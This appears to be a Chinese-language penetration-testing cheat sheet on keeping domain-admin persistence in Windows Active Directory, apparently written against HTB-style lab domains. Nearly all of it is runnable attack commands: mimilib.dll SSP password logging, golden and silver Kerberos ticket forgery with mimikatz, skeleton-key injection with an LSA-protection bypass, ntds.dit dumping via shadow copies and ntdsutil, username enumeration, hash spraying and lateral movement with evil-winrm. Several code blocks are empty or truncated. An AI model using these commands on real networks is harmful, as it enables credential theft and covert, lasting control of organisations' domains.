域管权限维持
1. SSP(通过dll获取密码)
概述:可以使用minikatz提供的mimilib.dll文件,将其放到目标机器C:\Windows\System32\,等待电脑重启后就会把凭据记录在目录下的kiwissp.log文件中。dll位数要与系统一致
步骤:
第一步:检查架构
第二步:上传mimilib.dll
第三步:修改注册表(最好powershell)
1 | reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" |
- 第四步:等待机器重启,密码储存在C:\Windows\System32\kiwissp.log
2. 黄金票据利用
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。
前提条件 :
获取到krbtgt账号相关信息
mimikatz管理员权限运行
Mimikatz # lsadump::dcsync /domain:pentest.com /user:krbtgt
Mimikatz # kerberos::golden /user:administrator /domain:htb.com /sid:S-1-5-21-40662597661885610995-1513813467 /krbtgt:3369fe00cbe15d2f55432dfd4f74bb29 /ptt
格式:kerberos::golden /user:administrator /domain:域名 /sid:sid /krbtgt:NTLM hash /pttklist命令查看票据
net use \WIN-DC.htb.com\C$
dir \WIN-DC.htb.com\C$
3. 白银票据利用
白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。
利用前提: (mimikatz使用管理员权限)
抓取到域控用户的NTLM hash和SID、主机名、用户名
需要指定服务
mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit” > 1.txt //获取hash sid等信息
Mimikatz # kerberos::purge //清除票据
Mimikatz # kerberos::golden /domain:htb.com /sid:S-1-5-21-4066259766-1885610995-1513813467 /target:WIN-DC.htb.com /service:cifs /rc4:7633d1819887dc0aa0f858700ab60dbc /user:dabai /ptt //伪造白银票据并注入到内存中
4. 万能钥匙 skeleton key
原理:注入lsass并创建一个主密码,可在任意域机器上使用。
注:需要域管权限配置,重启无效,默认密码:mimikatz,skeleton key只给所有用户添加一个万能密码,无法修改账户的权限。
1 | mimikatz.exe privilege::debug "misc::skeleton" |
windows 8.1以上及Windows server 2012 R2以上添加了LSA保护策略
绕过:借助mimidrv.sys文件,执行:
1 | mimikatz.exe "privilege::debug" "!+" "!processprotect/process:lsass.exe/remove" "misc::skeleton" |
5. VSS提取AD hash(卷影副本)
Windows Server 2012及Windows 8以下
1 | wmic /node:yi.com /user:yi\administrator /password:域控管理员密码 process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:\vss.log" |
6. ntdsutil提取ntds.dit
ntds.dit和ntds.jfm,主要是ntds.dit与工作组环境的SAM文件一样,存储密码的,域名htb.local
1 | // 借助ntdsutil |
拿到 ntds.dit、ntds.jfm 之后:
- 使用impact包里的secretsdump.py进行破解hash
- python secretsdump.py -ntds ntds.dit的文件路径 -system SYSTEM文件路径 LOCAL
注:如果已经知道管理员用户的hash并且目标域控5985端口开放可以用:evil-winrm -i 域名 -u 管理员名 -H ‘hash后段’
提取用户名和hash值,先进行用户名碰撞,确定哪些用户名有效(pre-authentication机制,88端口)
工具kerbrute:https://github.com/ropnop/kerbrute
- ./kerbrute userenm -d htb.local –dc htb.local user_list
用nmap脚本(效率更高)
- nmap -p88 –script=krb5-enum-users –script-args krb5-enum-users.realm=’htb.local’,userdb=user_list htb.local
确定可用的用户名后,进行hash碰撞:
- 使用crackmapexec工具crackmapexec smb htb.local -u 用户名文件 -H hash文件表(可能会被封ip)
- 使用impacket包里的getTGT.py
- 编辑一个自动执行的脚本getTGT_auto.sh:
1 |
|
- 执行起来数据太多的话会导致看不过来,getTGT.py脚本原理是匹配正确的用户名和hash值会自动存放在一个文件中,会自动生成一份后缀为.ccache的文件,可以利用这个特性使用watch命令监控文件夹,如果现实新增文件后就意味着匹配成功:watch “ls -ltr | tail -2”
- 把拿到的hash保存到hash文件里,vim hash,进行横向移动
1 | # 使用evil-winrm |
-